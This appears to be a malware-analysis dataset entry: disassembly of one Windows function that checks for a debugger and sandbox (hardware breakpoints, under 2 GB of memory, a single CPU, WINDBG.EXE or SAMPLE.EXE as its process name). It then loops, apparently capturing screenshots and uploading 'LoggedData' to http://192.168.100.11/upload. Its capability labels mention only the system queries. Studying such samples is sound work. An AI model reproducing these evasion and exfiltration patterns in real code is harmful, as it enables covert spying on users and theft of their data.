Function at 0x140014c30
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x140033660
push rbp
push rdi
sub rsp, 0xff8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2d2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140050048]
xor rax, rbp
mov qword [rbp + 0xfb0], rax
lea rcx, [0x14005b12d]
call fcn.14001525c
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x40], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp qword [rbp + 0x58], 0
jne 0x1400336e3
cmp qword [rbp + 0x60], 0
jne 0x1400336e3
cmp qword [rbp + 0x68], 0
jne 0x1400336e3
cmp qword [rbp + 0x70], 0
je 0x1400336ea
xor eax, eax
jmp 0x14003395e
mov dword [rbp + 0x500], 0x40
lea rcx, [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0x508]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0x554], eax
cmp dword [rbp + 0x554], 0x800
jae 0x140033735
xor eax, eax
jmp 0x14003395e
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x598]
mov dword [rbp + 0x5c4], eax
cmp dword [rbp + 0x5c4], 2
jae 0x14003375e
xor eax, eax
jmp 0x14003395e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.140014fb9
mov dword [rbp + 0x5e4], eax
mov dword [rbp + 0x834], 0x104
mov r8d, dword [rbp + 0x5e4]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x858], rax
lea r9, [rbp + 0x834]
lea r8, [rbp + 0x610]
xor edx, edx
mov rcx, qword [rbp + 0x858]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WINDBG.EXE
lea rcx, [rbp + 0x610]
call fcn.140014316
test rax, rax
je 0x1400337df
xor eax, eax
jmp 0x14003395e
lea rdx, str.SAMPLE.EXE
lea rcx, [rbp + 0x610]
call fcn.140014316
test rax, rax
je 0x1400337fe
xor eax, eax
jmp 0x14003395e
xor eax, eax
cmp eax, 1
je 0x14003395e
lea rcx, [rbp + 0x878]
call fcn.1400149f6
call fcn.1400141db
mov dword [rbp + 0xf64], 5
lea rdx, [rbp + 0xf64]
lea rcx, [rbp + 0xf48]
call fcn.140014447
mov r8, rax
lea rdx, [rbp + 0x878]
lea rcx, [rbp + 0x898]
call fcn.140014ff0
lea rcx, str.screenshot.png
call fcn.140015365
lea rcx, [rbp + 0x898]
call fcn.14001502c
lea rdx, [0x140046e30]
lea rcx, [rbp + 0x8b8]
call fcn.140014825
nop
mov edx, 0x108
lea rcx, [rbp + 0x900]
call fcn.140014735
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, [rbp + 0x8b8]
lea rcx, [rbp + 0x900]
call fcn.1400152c0
nop
lea rdx, str.http:__192.168.100.11_upload
lea rcx, [rbp + 0xa28]
call fcn.140014609
nop
lea rdx, str.LoggedData
lea rcx, [rbp + 0xa68]
call fcn.140014609
nop
call fcn.140014032
nop
jmp 0x1400338e2
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0xa28]
call fcn.1400151c1
mov byte [rbp + 0xf94], al
movzx eax, byte [rbp + 0xf94]
test eax, eax
jne 0x140033924
mov dword [rbp + 0xf84], 0x65
lea rdx, [0x14004f3d8]
lea rcx, [rbp + 0xf84]
call fcn.14001540a
nop
jmp 0x140033926
lea rcx, [rbp + 0xa68]
call fcn.140014f6e
nop
lea rcx, [rbp + 0xa28]
call fcn.140014f6e
nop
lea rcx, [rbp + 0x900]
call fcn.1400144a1
nop
lea rcx, [rbp + 0x8b8]
call fcn.140014393
jmp 0x1400337fe
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140045490]
call fcn.140014ee7
mov rax, rdi
mov rcx, qword [rbp + 0xfb0]
xor rcx, rbp
call fcn.1400148b1
lea rsp, [rbp + 0xfc8]
pop rdi
pop rbp
ret